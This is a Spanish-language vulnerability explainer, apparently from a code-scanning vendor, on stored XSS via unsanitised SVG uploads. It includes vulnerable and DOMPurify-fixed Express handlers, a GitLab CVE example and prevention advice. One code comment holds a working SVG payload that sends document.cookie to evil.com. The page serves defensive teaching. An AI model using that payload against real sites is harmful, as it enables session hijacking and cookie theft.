SVG con JavaScript
Aceptar cargas de SVG sin sanitizacion permite a los atacantes embeber JavaScript en archivos SVG, habilitando ataques XSS cuando el SVG se renderiza en un navegador.
Cómo Funciona
Los archivos SVG estan basados en XML y pueden contener JavaScript embebido a traves de tags <script>, event handlers (onload, onclick) o incluso expresiones CSS. Cuando un usuario sube un SVG malicioso y se sirve con content type image/svg+xml, los navegadores ejecutan los scripts embebidos en el contexto del dominio que lo aloja. Esto lleva a XSS almacenado — cualquier usuario que vea el SVG tiene su sesion comprometida. El atacante puede robar cookies, redirigir usuarios o realizar acciones en su nombre. A diferencia de imagenes raster (JPEG, PNG), los SVGs son esencialmente codigo y deben tratarse como tal.
app.post('/avatar', upload.single('avatar'), (req, res) => {
// Accepts any image including SVG
const url = `/avatars/${req.file.filename}`;
res.json({ url });
});
// SVG with XSS: <svg onload="fetch('https://evil.com/'+document.cookie)"/>const DOMPurify = require('isomorphic-dompurify');
app.post('/avatar', upload.single('avatar'), (req, res) => {
if (req.file.mimetype === 'image/svg+xml') {
const clean = DOMPurify.sanitize(req.file.buffer.toString(),
{ USE_PROFILES: { svg: true } });
fs.writeFileSync(destPath, clean);
}
res.json({ url });
});Ejemplo Real
En 2020, una vulnerabilidad de XSS almacenado via carga de SVG fue encontrada en GitLab (CVE-2020-10977). Los atacantes podian subir archivos SVG con JavaScript embebido en descripciones de issues. Cuando otros usuarios veian el issue, el script se ejecutaba en su navegador, potencialmente comprometiendo cuentas de admin.
Cómo Prevenirlo
- Sanitiza cargas de SVG con DOMPurify usando perfil SVG para eliminar scripts
- Sirve SVGs subidos por usuarios desde un dominio separado sin cookies
- Convierte SVGs a formato raster (PNG) al subirlos si no se necesita interactividad
- Configura headers Content-Security-Policy para bloquear scripts inline en rutas que sirven SVGs
Tecnologías Afectadas
Data Hogo detecta esta vulnerabilidad automáticamente.
Escanea Tu Repo GratisVulnerabilidades Relacionadas
Travesia de Ruta
highRutas de archivos construidas con input de usuario sin validar permiten a los atacantes leer o escribir archivos arbitrarios en el servidor usando secuencias ../.
Carga de Archivo sin Validacion
highAceptar cargas de archivos sin verificar tipo, tamano o contenido permite a los atacantes subir ejecutables maliciosos, web shells o archivos sobredimensionados que crashean el servidor.
EXIF No Eliminado
lowImagenes servidas sin eliminar metadatos EXIF pueden filtrar coordenadas GPS, informacion del dispositivo, timestamps y otros datos sensibles de la persona que tomo la foto.
Inyeccion en Generacion de PDF
mediumInyectar HTML o JavaScript en templates de generacion de PDF permite a los atacantes leer archivos del servidor, hacer requests a la red interna o ejecutar scripts en el visor de PDF.